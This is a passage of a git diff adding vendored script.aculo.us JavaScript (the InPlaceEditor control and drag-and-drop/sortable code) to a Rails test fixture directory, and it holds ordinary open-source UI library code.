ajaxOptions: {}, + evalScripts: false + }, options || {}); + + if(!this.options.formId && this.element.id) { + this.options.formId = this.element.id + "-inplaceeditor"; + if ($(this.options.formId)) { + // there's already a form with that name, don't specify an id + this.options.formId = null; + } + } + + if (this.options.externalControl) { + this.options.externalControl = $(this.options.externalControl); + } + + this.originalBackground = Element.getStyle(this.element, 'background-color'); + if (!this.originalBackground) { + this.originalBackground = "transparent"; + } + + this.element.title = this.options.clickToEditText; + + this.onclickListener = this.enterEditMode.bindAsEventListener(this); + this.mouseoverListener = this.enterHover.bindAsEventListener(this); + this.mouseoutListener = this.leaveHover.bindAsEventListener(this); + Event.observe(this.element, 'click', this.onclickListener); + Event.observe(this.element, 'mouseover', this.mouseoverListener); + Event.observe(this.element, 'mouseout', this.mouseoutListener); + if (this.options.externalControl) { + Event.observe(this.options.externalControl, 'click', this.onclickListener); + Event.observe(this.options.externalControl, 'mouseover', this.mouseoverListener); + Event.observe(this.options.externalControl, 'mouseout', this.mouseoutListener); + } + }, + enterEditMode: function(evt) { + if (this.saving) return; + if (this.editing) return; + this.editing = true; + this.onEnterEditMode(); + if (this.options.externalControl) { + Element.hide(this.options.externalControl); + } + Element.hide(this.element); + this.createForm(); + this.element.parentNode.insertBefore(this.form, this.element); + if (!this.options.loadTextURL) Field.scrollFreeActivate(this.editField); + // stop the event to avoid a page refresh in Safari + if (evt) { + Event.stop(evt); + } + return false; + }, + createForm: function() { + this.form = document.createElement("form"); + this.form.id = this.options.formId; + Element.addClassName(this.form, this.options.formClassName) + this.form.onsubmit = this.onSubmit.bind(this); + + this.createEditField(); + + if (this.options.textarea) { + var br = document.createElement("br"); + this.form.appendChild(br); + } + + if (this.options.okButton) { + okButton = document.createElement("input"); + okButton.type = "submit"; + okButton.value = this.options.okText; + okButton.className = 'editor_ok_button'; + this.form.appendChild(okButton); + } + + if (this.options.cancelLink) { + cancelLink = document.createElement("a"); + cancelLink.href = "#"; + cancelLink.appendChild(document.createTextNode(this.options.cancelText)); + cancelLink.onclick = this.onclickCancel.bind(this); + cancelLink.className = 'editor_cancel'; + this.form.appendChild(cancelLink); + } + }, + hasHTMLLineBreaks: function(string) { + if (!this.options.handleLineBreaks) return false; + return string.match(/
    /i); + }, + convertHTMLLineBreaks: function(string) { + return string.replace(/
    /gi, "\n").replace(//gi, "\n").replace(/<\/p>/gi, "\n").replace(/

    /gi, ""); + }, + createEditField: function() { + var text; + if(this.options.loadTextURL) { + text = this.options.loadingText; + } else { + text = this.getText(); + } + + var obj = this; + + if (this.options.rows == 1 && !this.hasHTMLLineBreaks(text)) { + this.options.textarea = false; + var textField = document.createElement("input"); + textField.obj = this; + textField.type = "text"; + textField.name = this.options.paramName; + textField.value = text; + textField.style.backgroundColor = this.options.highlightcolor; + textField.className = 'editor_field'; + var size = this.options.size || this.options.cols || 0; + if (size != 0) textField.size = size; + if (this.options.submitOnBlur) + textField.onblur = this.onSubmit.bind(this); + this.editField = textField; + } else { + this.options.textarea = true; + var textArea = document.createElement("textarea"); + textArea.obj = this; + textArea.name = this.options.paramName; + textArea.value = this.convertHTMLLineBreaks(text); + textArea.rows = this.options.rows; + textArea.cols = this.options.cols || 40; + textArea.className = 'editor_field'; + if (this.options.submitOnBlur) + textArea.onblur = this.onSubmit.bind(this); + this.editField = textArea; + } + + if(this.options.loadTextURL) { + this.loadExternalText(); + } + this.form.appendChild(this.editField); + }, + getText: function() { + return this.element.innerHTML; + }, + loadExternalText: function() { + Element.addClassName(this.form, this.options.loadingClassName); + this.editField.disabled = true; + new Ajax.Request( + this.options.loadTextURL, + Object.extend({ + asynchronous: true, + onComplete: this.onLoadedExternalText.bind(this) + }, this.options.ajaxOptions) + ); + }, + onLoadedExternalText: function(transport) { + Element.removeClassName(this.form, this.options.loadingClassName); + this.editField.disabled = false; + this.editField.value = transport.responseText.stripTags(); + Field.scrollFreeActivate(this.editField); + }, + onclickCancel: function() { + this.onComplete(); + this.leaveEditMode(); + return false; + }, + onFailure: function(transport) { + this.options.onFailure(transport); + if (this.oldInnerHTML) { + this.element.innerHTML = this.oldInnerHTML; + this.oldInnerHTML = null; + } + return false; + }, + onSubmit: function() { + // onLoading resets these so we need to save them away for the Ajax call + var form = this.form; + var value = this.editField.value; + + // do this first, sometimes the ajax call returns before we get a chance to switch on Saving... + // which means this will actually switch on Saving... *after* we've left edit mode causing Saving... + // to be displayed indefinitely + this.onLoading(); + + if (this.options.evalScripts) { + new Ajax.Request( + this.url, Object.extend({ + parameters: this.options.callback(form, value), + onComplete: this.onComplete.bind(this), + onFailure: this.onFailure.bind(this), + asynchronous:true, + evalScripts:true + }, this.options.ajaxOptions)); + } else { + new Ajax.Updater( + { success: this.element, + // don't update on failure (this could be an option) + failure: null }, + this.url, Object.extend({ + parameters: this.options.callback(form, value), + onComplete: this.onComplete.bind(this), + onFailure: this.onFailure.bind(this) + }, this.options.ajaxOptions)); + } + // stop the event to avoid a page refresh in Safari + if (arguments.length > 1) { + Event.stop(arguments[0]); + } + return false; + }, + onLoading: function() { + this.saving = true; + this.removeForm(); + this.leaveHover(); + this.showSaving(); + }, + showSaving: function() { + this.oldInnerHTML = this.element.innerHTML; + this.element.innerHTML = this.options.savingText; + Element.addClassName(this.element, this.options.savingClassName); + this.element.style.backgroundColor = this.originalBackground; + Element.show(this.element); + }, + removeForm: function() { + if(this.form) { + if (this.form.parentNode) Element.remove(this.form); + this.form = null; + } + }, + enterHover: function() { + if (this.saving) return; + this.element.style.backgroundColor = this.options.highlightcolor; + if (this.effect) { + this.effect.cancel(); + } + Element.addClassName(this.element, this.options.hoverClassName) + }, + leaveHover: function() { + if (this.options.backgroundColor) { + this.element.style.backgroundColor = this.oldBackground; + } + Element.removeClassName(this.element, this.options.hoverClassName) + if (this.saving) return; + this.effect = new Effect.Highlight(this.element, { + startcolor: this.options.highlightcolor, + endcolor: this.options.highlightendcolor, + restorecolor: this.originalBackground + }); + }, + leaveEditMode: function() { + Element.removeClassName(this.element, this.options.savingClassName); + this.removeForm(); + this.leaveHover(); + this.element.style.backgroundColor = this.originalBackground; + Element.show(this.element); + if (this.options.externalControl) { + Element.show(this.options.externalControl); + } + this.editing = false; + this.saving = false; + this.oldInnerHTML = null; + this.onLeaveEditMode(); + }, + onComplete: function(transport) { + this.leaveEditMode(); + this.options.onComplete.bind(this)(transport, this.element); + }, + onEnterEditMode: function() {}, + onLeaveEditMode: function() {}, + dispose: function() { + if (this.oldInnerHTML) { + this.element.innerHTML = this.oldInnerHTML; + } + this.leaveEditMode(); + Event.stopObserving(this.element, 'click', this.onclickListener); + Event.stopObserving(this.element, 'mouseover', this.mouseoverListener); + Event.stopObserving(this.element, 'mouseout', this.mouseoutListener); + if (this.options.externalControl) { + Event.stopObserving(this.options.externalControl, 'click', this.onclickListener); + Event.stopObserving(this.options.externalControl, 'mouseover', this.mouseoverListener); + Event.stopObserving(this.options.externalControl, 'mouseout', this.mouseoutListener); + } + } +}; + +Ajax.InPlaceCollectionEditor = Class.create(); +Object.extend(Ajax.InPlaceCollectionEditor.prototype, Ajax.InPlaceEditor.prototype); +Object.extend(Ajax.InPlaceCollectionEditor.prototype, { + createEditField: function() { + if (!this.cached_selectTag) { + var selectTag = document.createElement("select"); + var collection = this.options.collection || []; + var optionTag; + collection.each(function(e,i) { + optionTag = document.createElement("option"); + optionTag.value = (e instanceof Array) ? e[0] : e; + if((typeof this.options.value == 'undefined') && + ((e instanceof Array) ? this.element.innerHTML == e[1] : e == optionTag.value)) optionTag.selected = true; + if(this.options.value==optionTag.value) optionTag.selected = true; + optionTag.appendChild(document.createTextNode((e instanceof Array) ? e[1] : e)); + selectTag.appendChild(optionTag); + }.bind(this)); + this.cached_selectTag = selectTag; + } + + this.editField = this.cached_selectTag; + if(this.options.loadTextURL) this.loadExternalText(); + this.form.appendChild(this.editField); + this.options.callback = function(form, value) { + return "value=" + encodeURIComponent(value); + } + } +}); + +// Delayed observer, like Form.Element.Observer, +// but waits for delay after last key input +// Ideal for live-search fields + +Form.Element.DelayedObserver = Class.create(); +Form.Element.DelayedObserver.prototype = { + initialize: function(element, delay, callback) { + this.delay = delay || 0.5; + this.element = $(element); + this.callback = callback; + this.timer = null; + this.lastValue = $F(this.element); + Event.observe(this.element,'keyup',this.delayedListener.bindAsEventListener(this)); + }, + delayedListener: function(event) { + if(this.lastValue == $F(this.element)) return; + if(this.timer) clearTimeout(this.timer); + this.timer = setTimeout(this.onTimerEvent.bind(this), this.delay * 1000); + this.lastValue = $F(this.element); + }, + onTimerEvent: function() { + this.timer = null; + this.callback(this.element, $F(this.element)); + } +}; diff --git a/vendor/plugins/shoulda/test/rails_root/public/javascripts/dragdrop.js b/vendor/plugins/shoulda/test/rails_root/public/javascripts/dragdrop.js new file mode 100644 index 0000000..c71ddb8 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/public/javascripts/dragdrop.js @@ -0,0 +1,942 @@ +// Copyright (c) 2005, 2006 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// (c) 2005, 2006 Sammi Williams (http://www.oriontransfer.co.nz, sammi@oriontransfer.co.nz) +// +// script.aculo.us is freely distributable under the terms of an MIT-style license. +// For details, see the script.aculo.us web site: http://script.aculo.us/ + +if(typeof Effect == 'undefined') + throw("dragdrop.js requires including script.aculo.us' effects.js library"); + +var Droppables = { + drops: [], + + remove: function(element) { + this.drops = this.drops.reject(function(d) { return d.element==$(element) }); + }, + + add: function(element) { + element = $(element); + var options = Object.extend({ + greedy: true, + hoverclass: null, + tree: false + }, arguments[1] || {}); + + // cache containers + if(options.containment) { + options._containers = []; + var containment = options.containment; + if((typeof containment == 'object') && + (containment.constructor == Array)) { + containment.each( function(c) { options._containers.push($(c)) }); + } else { + options._containers.push($(containment)); + } + } + + if(options.accept) options.accept = [options.accept].flatten(); + + Element.makePositioned(element); // fix IE + options.element = element; + + this.drops.push(options); + }, + + findDeepestChild: function(drops) { + deepest = drops[0]; + + for (i = 1; i < drops.length; ++i) + if (Element.isParent(drops[i].element, deepest.element)) + deepest = drops[i]; + + return deepest; + }, + + isContained: function(element, drop) { + var containmentNode; + if(drop.tree) { + containmentNode = element.treeNode; + } else { + containmentNode = element.parentNode; + } + return drop._containers.detect(function(c) { return containmentNode == c }); + }, + + isAffected: function(point, element, drop) { + return ( + (drop.element!=element) && + ((!drop._containers) || + this.isContained(element, drop)) && + ((!drop.accept) || + (Element.classNames(element).detect( + function(v) { return drop.accept.include(v) } ) )) && + Position.within(drop.element, point[0], point[1]) ); + }, + + deactivate: function(drop) { + if(drop.hoverclass) + Element.removeClassName(drop.element, drop.hoverclass); + this.last_active = null; + }, + + activate: function(drop) { + if(drop.hoverclass) + Element.addClassName(drop.element, drop.hoverclass); + this.last_active = drop; + }, + + show: function(point, element) { + if(!this.drops.length) return; + var affected = []; + + if(this.last_active) this.deactivate(this.last_active); + this.drops.each( function(drop) { + if(Droppables.isAffected(point, element, drop)) + affected.push(drop); + }); + + if(affected.length>0) { + drop = Droppables.findDeepestChild(affected); + Position.within(drop.element, point[0], point[1]); + if(drop.onHover) + drop.onHover(element, drop.element, Position.overlap(drop.overlap, drop.element)); + + Droppables.activate(drop); + } + }, + + fire: function(event, element) { + if(!this.last_active) return; + Position.prepare(); + + if (this.isAffected([Event.pointerX(event), Event.pointerY(event)], element, this.last_active)) + if (this.last_active.onDrop) + this.last_active.onDrop(element, this.last_active.element, event); + }, + + reset: function() { + if(this.last_active) + this.deactivate(this.last_active); + } +} + +var Draggables = { + drags: [], + observers: [], + + register: function(draggable) { + if(this.drags.length == 0) { + this.eventMouseUp = this.endDrag.bindAsEventListener(this); + this.eventMouseMove = this.updateDrag.bindAsEventListener(this); + this.eventKeypress = this.keyPress.bindAsEventListener(this); + + Event.observe(document, "mouseup", this.eventMouseUp); + Event.observe(document, "mousemove", this.eventMouseMove); + Event.observe(document, "keypress", this.eventKeypress); + } + this.drags.push(draggable); + }, + + unregister: function(draggable) { + this.drags = this.drags.reject(function(d) { return d==draggable }); + if(this.drags.length == 0) { + Event.stopObserving(document, "mouseup", this.eventMouseUp); + Event.stopObserving(document, "mousemove", this.eventMouseMove); + Event.stopObserving(document, "keypress", this.eventKeypress); + } + }, + + activate: function(draggable) { + if(draggable.options.delay) { + this._timeout = setTimeout(function() { + Draggables._timeout = null; + window.focus(); + Draggables.activeDraggable = draggable; + }.bind(this), draggable.options.delay); + } else { + window.focus(); // allows keypress events if window isn't currently focused, fails for Safari + this.activeDraggable = draggable; + } + }, + + deactivate: function() { + this.activeDraggable = null; + }, + + updateDrag: function(event) { + if(!this.activeDraggable) return; + var pointer = [Event.pointerX(event), Event.pointerY(event)]; + // Mozilla-based browsers fire successive mousemove events with + // the same coordinates, prevent needless redrawing (moz bug?) + if(this._lastPointer && (this._lastPointer.inspect() == pointer.inspect())) return; + this._lastPointer = pointer; + + this.activeDraggable.updateDrag(event, pointer); + }, + + endDrag: function(event) { + if(this._timeout) { + clearTimeout(this._timeout); + this._timeout = null; + } + if(!this.activeDraggable) return; + this._lastPointer = null; + this.activeDraggable.endDrag(event); + this.activeDraggable = null; + }, + + keyPress: function(event) { + if(this.activeDraggable) + this.activeDraggable.keyPress(event); + }, + + addObserver: function(observer) { + this.observers.push(observer); + this._cacheObserverCallbacks(); + }, + + removeObserver: function(element) { // element instead of observer fixes mem leaks + this.observers = this.observers.reject( function(o) { return o.element==element }); + this._cacheObserverCallbacks(); + }, + + notify: function(eventName, draggable, event) { // 'onStart', 'onEnd', 'onDrag' + if(this[eventName+'Count'] > 0) + this.observers.each( function(o) { + if(o[eventName]) o[eventName](eventName, draggable, event); + }); + if(draggable.options[eventName]) draggable.options[eventName](draggable, event); + }, + + _cacheObserverCallbacks: function() { + ['onStart','onEnd','onDrag'].each( function(eventName) { + Draggables[eventName+'Count'] = Draggables.observers.select( + function(o) { return o[eventName]; } + ).length; + }); + } +} + +/*--------------------------------------------------------------------------*/ + +var Draggable = Class.create(); +Draggable._dragging = {}; + +Draggable.prototype = { + initialize: function(element) { + var defaults = { + handle: false, + reverteffect: function(element, top_offset, left_offset) { + var dur = Math.sqrt(Math.abs(top_offset^2)+Math.abs(left_offset^2))*0.02; + new Effect.Move(element, { x: -left_offset, y: -top_offset, duration: dur, + queue: {scope:'_draggable', position:'end'} + }); + }, + endeffect: function(element) { + var toOpacity = typeof element._opacity == 'number' ? element._opacity : 1.0; + new Effect.Opacity(element, {duration:0.2, from:0.7, to:toOpacity, + queue: {scope:'_draggable', position:'end'}, + afterFinish: function(){ + Draggable._dragging[element] = false + } + }); + }, + zindex: 1000, + revert: false, + scroll: false, + scrollSensitivity: 20, + scrollSpeed: 15, + snap: false, // false, or xy or [x,y] or function(x,y){ return [x,y] } + delay: 0 + }; + + if(!arguments[1] || typeof arguments[1].endeffect == 'undefined') + Object.extend(defaults, { + starteffect: function(element) { + element._opacity = Element.getOpacity(element); + Draggable._dragging[element] = true; + new Effect.Opacity(element, {duration:0.2, from:element._opacity, to:0.7}); + } + }); + + var options = Object.extend(defaults, arguments[1] || {}); + + this.element = $(element); + + if(options.handle && (typeof options.handle == 'string')) + this.handle = this.element.down('.'+options.handle, 0); + + if(!this.handle) this.handle = $(options.handle); + if(!this.handle) this.handle = this.element; + + if(options.scroll && !options.scroll.scrollTo && !options.scroll.outerHTML) { + options.scroll = $(options.scroll); + this._isScrollChild = Element.childOf(this.element, options.scroll); + } + + Element.makePositioned(this.element); // fix IE + + this.delta = this.currentDelta(); + this.options = options; + this.dragging = false; + + this.eventMouseDown = this.initDrag.bindAsEventListener(this); + Event.observe(this.handle, "mousedown", this.eventMouseDown); + + Draggables.register(this); + }, + + destroy: function() { + Event.stopObserving(this.handle, "mousedown", this.eventMouseDown); + Draggables.unregister(this); + }, + + currentDelta: function() { + return([ + parseInt(Element.getStyle(this.element,'left') || '0'), + parseInt(Element.getStyle(this.element,'top') || '0')]); + }, + + initDrag: function(event) { + if(typeof Draggable._dragging[this.element] != 'undefined' && + Draggable._dragging[this.element]) return; + if(Event.isLeftClick(event)) { + // abort on form elements, fixes a Firefox issue + var src = Event.element(event); + if(src.tagName && ( + src.tagName=='INPUT' || + src.tagName=='SELECT' || + src.tagName=='OPTION' || + src.tagName=='BUTTON' || + src.tagName=='TEXTAREA')) return; + + var pointer = [Event.pointerX(event), Event.pointerY(event)]; + var pos = Position.cumulativeOffset(this.element); + this.offset = [0,1].map( function(i) { return (pointer[i] - pos[i]) }); + + Draggables.activate(this); + Event.stop(event); + } + }, + + startDrag: function(event) { + this.dragging = true; + + if(this.options.zindex) { + this.originalZ = parseInt(Element.getStyle(this.element,'z-index') || 0); + this.element.style.zIndex = this.options.zindex; + } + + if(this.options.ghosting) { + this._clone = this.element.cloneNode(true); + Position.absolutize(this.element); + this.element.parentNode.insertBefore(this._clone, this.element); + } + + if(this.options.scroll) { + if (this.options.scroll == window) { + var where = this._getWindowScroll(this.options.scroll); + this.originalScrollLeft = where.left; + this.originalScrollTop = where.top; + } else { + this.originalScrollLeft = this.options.scroll.scrollLeft; + this.originalScrollTop = this.options.scroll.scrollTop; + } + } + + Draggables.notify('onStart', this, event); + + if(this.options.starteffect) this.options.starteffect(this.element); + }, + + updateDrag: function(event, pointer) { + if(!this.dragging) this.startDrag(event); + Position.prepare(); + Droppables.show(pointer, this.element); + Draggables.notify('onDrag', this, event); + + this.draw(pointer); + if(this.options.change) this.options.change(this); + + if(this.options.scroll) { + this.stopScrolling(); + + var p; + if (this.options.scroll == window) { + with(this._getWindowScroll(this.options.scroll)) { p = [ left, top, left+width, top+height ]; } + } else { + p = Position.page(this.options.scroll); + p[0] += this.options.scroll.scrollLeft + Position.deltaX; + p[1] += this.options.scroll.scrollTop + Position.deltaY; + p.push(p[0]+this.options.scroll.offsetWidth); + p.push(p[1]+this.options.scroll.offsetHeight); + } + var speed = [0,0]; + if(pointer[0] < (p[0]+this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[0]+this.options.scrollSensitivity); + if(pointer[1] < (p[1]+this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[1]+this.options.scrollSensitivity); + if(pointer[0] > (p[2]-this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[2]-this.options.scrollSensitivity); + if(pointer[1] > (p[3]-this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[3]-this.options.scrollSensitivity); + this.startScrolling(speed); + } + + // fix AppleWebKit rendering + if(navigator.appVersion.indexOf('AppleWebKit')>0) window.scrollBy(0,0); + + Event.stop(event); + }, + + finishDrag: function(event, success) { + this.dragging = false; + + if(this.options.ghosting) { + Position.relativize(this.element); + Element.remove(this._clone); + this._clone = null; + } + + if(success) Droppables.fire(event, this.element); + Draggables.notify('onEnd', this, event); + + var revert = this.options.revert; + if(revert && typeof revert == 'function') revert = revert(this.element); + + var d = this.currentDelta(); + if(revert && this.options.reverteffect) { + this.options.reverteffect(this.element, + d[1]-this.delta[1], d[0]-this.delta[0]); + } else { + this.delta = d; + } + + if(this.options.zindex) + this.element.style.zIndex = this.originalZ; + + if(this.options.endeffect) + this.options.endeffect(this.element); + + Draggables.deactivate(this); + Droppables.reset(); + }, + + keyPress: function(event) { + if(event.keyCode!=Event.KEY_ESC) return; + this.finishDrag(event, false); + Event.stop(event); + }, + + endDrag: function(event) { + if(!this.dragging) return; + this.stopScrolling(); + this.finishDrag(event, true); + Event.stop(event); + }, + + draw: function(point) { + var pos = Position.cumulativeOffset(this.element); + if(this.options.ghosting) { + var r = Position.realOffset(this.element); + pos[0] += r[0] - Position.deltaX; pos[1] += r[1] - Position.deltaY; + } + + var d = this.currentDelta(); + pos[0] -= d[0]; pos[1] -= d[1]; + + if(this.options.scroll && (this.options.scroll != window && this._isScrollChild)) { + pos[0] -= this.options.scroll.scrollLeft-this.originalScrollLeft; + pos[1] -= this.options.scroll.scrollTop-this.originalScrollTop; + } + + var p = [0,1].map(function(i){ + return (point[i]-pos[i]-this.offset[i]) + }.bind(this)); + + if(this.options.snap) { + if(typeof this.options.snap == 'function') { + p = this.options.snap(p[0],p[1],this); + } else { + if(this.options.snap instanceof Array) { + p = p.map( function(v, i) { + return Math.round(v/this.options.snap[i])*this.options.snap[i] }.bind(this)) + } else { + p = p.map( function(v) { + return Math.round(v/this.options.snap)*this.options.snap }.bind(this)) + } + }} + + var style = this.element.style; + if((!this.options.constraint) || (this.options.constraint=='horizontal')) + style.left = p[0] + "px"; + if((!this.options.constraint) || (this.options.constraint=='vertical')) + style.top = p[1] + "px"; + + if(style.visibility=="hidden") style.visibility = ""; // fix gecko rendering + }, + + stopScrolling: function() { + if(this.scrollInterval) { + clearInterval(this.scrollInterval); + this.scrollInterval = null; + Draggables._lastScrollPointer = null; + } + }, + + startScrolling: function(speed) { + if(!(speed[0] || speed[1])) return; + this.scrollSpeed = [speed[0]*this.options.scrollSpeed,speed[1]*this.options.scrollSpeed]; + this.lastScrolled = new Date(); + this.scrollInterval = setInterval(this.scroll.bind(this), 10); + }, + + scroll: function() { + var current = new Date(); + var delta = current - this.lastScrolled; + this.lastScrolled = current; + if(this.options.scroll == window) { + with (this._getWindowScroll(this.options.scroll)) { + if (this.scrollSpeed[0] || this.scrollSpeed[1]) { + var d = delta / 1000; + this.options.scroll.scrollTo( left + d*this.scrollSpeed[0], top + d*this.scrollSpeed[1] ); + } + } + } else { + this.options.scroll.scrollLeft += this.scrollSpeed[0] * delta / 1000; + this.options.scroll.scrollTop += this.scrollSpeed[1] * delta / 1000; + } + + Position.prepare(); + Droppables.show(Draggables._lastPointer, this.element); + Draggables.notify('onDrag', this); + if (this._isScrollChild) { + Draggables._lastScrollPointer = Draggables._lastScrollPointer || $A(Draggables._lastPointer); + Draggables._lastScrollPointer[0] += this.scrollSpeed[0] * delta / 1000; + Draggables._lastScrollPointer[1] += this.scrollSpeed[1] * delta / 1000; + if (Draggables._lastScrollPointer[0] < 0) + Draggables._lastScrollPointer[0] = 0; + if (Draggables._lastScrollPointer[1] < 0) + Draggables._lastScrollPointer[1] = 0; + this.draw(Draggables._lastScrollPointer); + } + + if(this.options.change) this.options.change(this); + }, + + _getWindowScroll: function(w) { + var T, L, W, H; + with (w.document) { + if (w.document.documentElement && documentElement.scrollTop) { + T = documentElement.scrollTop; + L = documentElement.scrollLeft; + } else if (w.document.body) { + T = body.scrollTop; + L = body.scrollLeft; + } + if (w.innerWidth) { + W = w.innerWidth; + H = w.innerHeight; + } else if (w.document.documentElement && documentElement.clientWidth) { + W = documentElement.clientWidth; + H = documentElement.clientHeight; + } else { + W = body.offsetWidth; + H = body.offsetHeight + } + } + return { top: T, left: L, width: W, height: H }; + } +} + +/*--------------------------------------------------------------------------*/ + +var SortableObserver = Class.create(); +SortableObserver.prototype = { + initialize: function(element, observer) { + this.element = $(element); + this.observer = observer; + this.lastValue = Sortable.serialize(this.element); + }, + + onStart: function() { + this.lastValue = Sortable.serialize(this.element); + }, + + onEnd: function() { + Sortable.unmark(); + if(this.lastValue != Sortable.serialize(this.element)) + this.observer(this.element) + } +} + +var Sortable = { + SERIALIZE_RULE: /^[^_\-](?:[A-Za-z0-9\-\_]*)[_](.*)$/, + + sortables: {}, + + _findRootElement: function(element) { + while (element.tagName != "BODY") { + if(element.id && Sortable.sortables[element.id]) return element; + element = element.parentNode; + } + }, + + options: function(element) { + element = Sortable._findRootElement($(element)); + if(!element) return; + return Sortable.sortables[element.id]; + }, + + destroy: function(element){ + var s = Sortable.options(element); + + if(s) { + Draggables.removeObserver(s.element); + s.droppables.each(function(d){ Droppables.remove(d) }); + s.draggables.invoke('destroy'); + + delete Sortable.sortables[s.element.id]; + } + }, + + create: function(element) { + element = $(element); + var options = Object.extend({ + element: element, + tag: 'li', // assumes li children, override with tag: 'tagname' + dropOnEmpty: false, + tree: false, + treeTag: 'ul', + overlap: 'vertical', // one of 'vertical', 'horizontal' + constraint: 'vertical', // one of 'vertical', 'horizontal', false + containment: element, // also takes array of elements (or id's); or false + handle: false, // or a CSS class + only: false, + delay: 0, + hoverclass: null, + ghosting: false, + scroll: false, + scrollSensitivity: 20, + scrollSpeed: 15, + format: this.SERIALIZE_RULE, + onChange: Prototype.emptyFunction, + onUpdate: Prototype.emptyFunction + }, arguments[1] || {}); + + // clear any old sortable with same element + this.destroy(element); + + // build options for the draggables + var options_for_draggable = { + revert: true, + scroll: options.scroll, + scrollSpeed: options.scrollSpeed, + scrollSensitivity: options.scrollSensitivity, + delay: options.delay, + ghosting: options.ghosting, + constraint: options.constraint, + handle: options.handle }; + + if(options.starteffect) + options_for_draggable.starteffect = options.starteffect; + + if(options.reverteffect) + options_for_draggable.reverteffect = options.reverteffect; + else + if(options.ghosting) options_for_draggable.reverteffect = function(element) { + element.style.top = 0; + element.style.left = 0; + }; + + if(options.endeffect) + options_for_draggable.endeffect = options.endeffect; + + if(options.zindex) + options_for_draggable.zindex = options.zindex; + + // build options for the droppables + var options_for_droppable = { + overlap: options.overlap, + containment: options.containment, + tree: options.tree, + hoverclass: options.hoverclass, + onHover: Sortable.onHover + } + + var options_for_tree = { + onHover: Sortable.onEmptyHover, + overlap: options.overlap, + containment: options.containment, + hoverclass: options.hoverclass + } + + // fix for gecko engine + Element.cleanWhitespace(element); + + options.draggables = []; + options.droppables = []; + + // drop on empty handling + if(options.dropOnEmpty || options.tree) { + Droppables.add(element, options_for_tree); + options.droppables.push(element); + } + + (this.findElements(element, options) || []).each( function(e) { + // handles are per-draggable + var handle = options.handle ? + $(e).down('.'+options.handle,0) : e; + options.draggables.push( + new Draggable(e, Object.extend(options_for_draggable, { handle: handle }))); + Droppables.add(e, options_for_droppable); + if(options.tree) e.treeNode = element; + options.droppables.push(e); + }); + + if(options.tree) { + (Sortable.findTreeElements(element, options) || []).each( function(e) { + Droppables.add(e, options_for_tree); + e.treeNode = element; + options.droppables.push(e); + }); + } + + // keep reference + this.sortables[element.id] = options; + + // for onupdate + Draggables.addObserver(new SortableObserver(element, options.onUpdate)); + + }, + + // return all suitable-for-sortable elements in a guaranteed order + findElements: function(element, options) { + return Element.findChildren( + element, options.only, options.tree ? true : false, options.tag); + }, + + findTreeElements: function(element, options) { + return Element.findChildren( + element, options.only, options.tree ? true : false, options.treeTag); + }, + + onHover: function(element, dropon, overlap) { + if(Element.isParent(dropon, element)) return; + + if(overlap > .33 && overlap < .66 && Sortable.options(dropon).tree) { + return; + } else if(overlap>0.5) { + Sortable.mark(dropon, 'before'); + if(dropon.previousSibling != element) { + var oldParentNode = element.parentNode; + element.style.visibility = "hidden"; // fix gecko rendering + dropon.parentNode.insertBefore(element, dropon); + if(dropon.parentNode!=oldParentNode) + Sortable.options(oldParentNode).onChange(element); + Sortable.options(dropon.parentNode).onChange(element); + } + } else { + Sortable.mark(dropon, 'after'); + var nextElement = dropon.nextSibling || null; + if(nextElement != element) { + var oldParentNode = element.parentNode; + element.style.visibility = "hidden"; // fix gecko rendering + dropon.parentNode.insertBefore(element, nextElement); + if(dropon.parentNode!=oldParentNode) + Sortable.options(oldParentNode).onChange(element); + Sortable.options(dropon.parentNode).onChange(element); + } + } + }, + + onEmptyHover: function(element, dropon, overlap) { + var oldParentNode = element.parentNode; + var droponOptions = Sortable.options(dropon); + + if(!Element.isParent(dropon, element)) { + var index; + + var children = Sortable.findElements(dropon, {tag: droponOptions.tag, only: droponOptions.only}); + var child = null; + + if(children) { + var offset = Element.offsetSize(dropon, droponOptions.overlap) * (1.0 - overlap); + + for (index = 0; index < children.length; index += 1) { + if (offset - Element.offsetSize (children[index], droponOptions.overlap) >= 0) { + offset -= Element.offsetSize (children[index], droponOptions.overlap); + } else if (offset - (Element.offsetSize (children[index], droponOptions.overlap) / 2) >= 0) { + child = index + 1 < children.length ? children[index + 1] : null; + break; + } else { + child = children[index]; + break; + } + } + } + + dropon.insertBefore(element, child); + + Sortable.options(oldParentNode).onChange(element); + droponOptions.onChange(element); + } + }, + + unmark: function() { + if(Sortable._marker) Sortable._marker.hide(); + }, + + mark: function(dropon, position) { + // mark on ghosting only + var sortable = Sortable.options(dropon.parentNode); + if(sortable && !sortable.ghosting) return; + + if(!Sortable._marker) { + Sortable._marker = + ($('dropmarker') || Element.extend(document.createElement('DIV'))). + hide().addClassName('dropmarker').setStyle({position:'absolute'}); + document.getElementsByTagName("body").item(0).appendChild(Sortable._marker); + } + var offsets = Position.cumulativeOffset(dropon); + Sortable._marker.setStyle({left: offsets[0]+'px', top: offsets[1] + 'px'}); + + if(position=='after') + if(sortable.overlap == 'horizontal') + Sortable._marker.setStyle({left: (offsets[0]+dropon.clientWidth) + 'px'}); + else + Sortable._marker.setStyle({top: (offsets[1]+dropon.clientHeight) + 'px'}); + + Sortable._marker.show(); + }, + + _tree: function(element, options, parent) { + var children = Sortable.findElements(element, options) || []; + + for (var i = 0; i < children.length; ++i) { + var match = children[i].id.match(options.format); + + if (!match) continue; + + var child = { + id: encodeURIComponent(match ? match[1] : null), + element: element, + parent: parent, + children: [], + position: parent.children.length, + container: $(children[i]).down(options.treeTag) + } + + /* Get the element containing the children and recurse over it */ + if (child.container) + this._tree(child.container, options, child) + + parent.children.push (child); + } + + return parent; + }, + + tree: function(element) { + element = $(element); + var sortableOptions = this.options(element); + var options = Object.extend({ + tag: sortableOptions.tag, + treeTag: sortableOptions.treeTag, + only: sortableOptions.only, + name: element.id, + format: sortableOptions.format + }, arguments[1] || {}); + + var root = { + id: null, + parent: null, + children: [], + container: element, + position: 0 + } + + return Sortable._tree(element, options, root); + }, + + /* Construct a [i] index for a particular node */ + _constructIndex: function(node) { + var index = ''; + do { + if (node.id) index = '[' + node.position + ']' + index; + } while ((node = node.parent) != null); + return index; + }, + + sequence: function(element) { + element = $(element); + var options = Object.extend(this.options(element), arguments[1] || {}); + + return $(this.findElements(element, options) || 